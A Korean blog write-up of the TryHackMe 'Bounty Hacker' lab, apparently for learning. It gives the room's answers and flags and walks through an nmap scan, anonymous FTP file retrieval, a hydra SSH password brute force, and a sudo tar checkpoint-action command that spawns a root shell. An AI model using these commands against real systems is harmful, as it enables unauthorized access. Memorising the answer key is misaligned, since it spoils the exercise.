TryHackMe

TryHackMe - Bounty Hacker

supp0rt 2025. 11. 14. 14:32

Problem

Deploy the machine.
Find open ports on the machine
 
Who wrote the task list? 

What service can you bruteforce with the text file found?

What is the users password? 

더보기
RedDr4gonSynd1cat3

user.txt

더보기
THM{CR1M3_SyNd1C4T3}
root.txt
더보기
THM{80UN7Y_h4cK3r}

Set

ip: 10.201.61.47

난이도: easy

 

 

1. nmap

nmap -sC -sV $target -oN nmap_result -T4 --min-rate=1500

21, 22, 80 포트가 열려있는 것을 확인한다.

 

2. ftp

열려있는 ftp 포트에 접근 후 익명 접근 및 내부 파일 탈취를 시도한다.

익명 접근이 성공하여 내부에 있는 locks.txt 및 task.txt 탈취를 성공하였다.

 

3. ftp 파일 분석

ftp로 받아온 파일은 분석한다.

확인한 결과 locks.txt에는 임의의 문자열이 존재하고 task.txt에는 lin이라는 사용자가 남긴 글을 확인할 수있다.

 

4. ssh 무작위 대입

ftp 파일에서 찾은 lin이라는 사용자와 무작위 문자열을 이용하여 ssh 연결을 시도한다.

hydra -q -V -t 5 -l 'lin' -P locks.txt $target ssh

무작위 대입 결과 로그인을 성공한 것을 확인할 수 있다.

 

5. ssh 연결 및 user.txt 확인

ssh lin@target
RedDr4gonSynd1cat3

 

6. root 권한 상승

lin 계정에서 root 권한 상승을 위해 정보 수집을 시작한다.

먼저 linpeas를 돌리기 전에 sudo 권한을 확인해 본다.

확인한 결과 /bin/tar를 root 권한으로 실행 가능한 것을 확인한다.

 

tar 명령어를 root 권한으로 사용할 수 있으므로 GTFO Bins에서 검색을 진행한다.

sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=e
xec=/bin/sh

 

이제 /root 폴더에서 root.txt를 확인하면 된다.